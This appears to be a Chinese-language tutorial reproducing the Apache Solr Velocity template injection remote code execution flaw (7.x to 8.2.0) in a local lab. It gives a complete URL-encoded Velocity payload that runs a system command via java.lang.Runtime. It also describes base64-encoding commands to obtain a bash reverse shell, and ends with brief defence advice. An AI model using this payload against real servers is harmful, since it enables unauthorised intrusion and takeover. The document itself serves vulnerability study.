Solr Velocity模板遠程代碼復現及利用指南
0X01前言:
據消息稱,安全研究員S00pY在GitHub發布了Apache Solr Velocity模板注入遠程命令執行的POC.目前測試,可影響Apache Solr 7.X到8.2.0.故本地搭建環境,學習一下
Github的POC:
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
0X02本地搭建:
1:在Solr官網下載8.2.0版本進行復現
https://archive.apache.org/dist/luceen/solr/
2:部署到Linux上
將壓縮包解壓到文件夾(任意一個文件夾都可以),然后進行bin目錄啟動Solr(注意不是根目錄中的/bin)

在此目錄打開終端,輸入命令./solr start

本地訪問端口8983

3:創建核心
先手動在/server/solr/目錄下創建一個test的文件夾,然后將/server/solr/configsets/_default/下的conf目錄拷貝到test目錄下

添加核心

然后訪問該核心的config文件,查看是否可以訪問

確定config配置里的兩個值均為True,如果不是,在第一次攻擊報文中,修改為True

0X03復現過程:
Apache Solr默認集成VelocityResponseWriter插件,該插件初始化參數中的params.resource.loader.enabled默認值設置為false,但是可以通過POST請求直接修改集合設置,將其設置為true,然后就可以構造特殊的GET請求來實現遠程代碼執行。


然后發送執行命令的payload,這里先進行執行命令的回顯.
Payload: /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
、
0X04構造EXP:
利用Velocity模板調用java語法進行命令執行,類似于傳過去的就像jsp語法.這里有個坑,velocite里沒有數組,改造官方POC,構造POC(exec(new String[]))就會出現問題,所以需要換一個方式,用base64編碼的方法解決這個問題.
對數組的訪問在Velocity中存在問題,因為Velocity只能訪問對象的方法,而數組是特殊的數組,所以雖然數組可以循環列舉,但不能訪問特定位置的元素,如strs[2],數組對固定位置元素的訪問調用了數組的反射方法get(Ojbect array,int index).而Velocity沒能提供這樣的訪問,所以數組要么改成List等其他類容器的方式進行封裝,或者通過公用Util的方式來提供,傳入數組對象和要訪問的位置參數,從而達到返回所需值的目的.
進一步利用,進行反彈shell利用bash反彈shell
官網POC,只能執行單個命令的缺陷:當存在|,<,>等符號時就會報錯無法執行,無法進行反彈shell等問題,使用base64編碼
http://www.jackson-t.ca/runtime-exec-payloads.html
然后在進行url編碼,填入替換exec里的payload即可.

0X05防御措施:
攻擊者可以直接訪問訪問Solr控制臺,通過訪問節點胚子進行getshell獲取權限.目前官方已有補丁,在沒有補丁的情況下建議增加solr的認證模塊,設置強口令,減少被入侵的風險.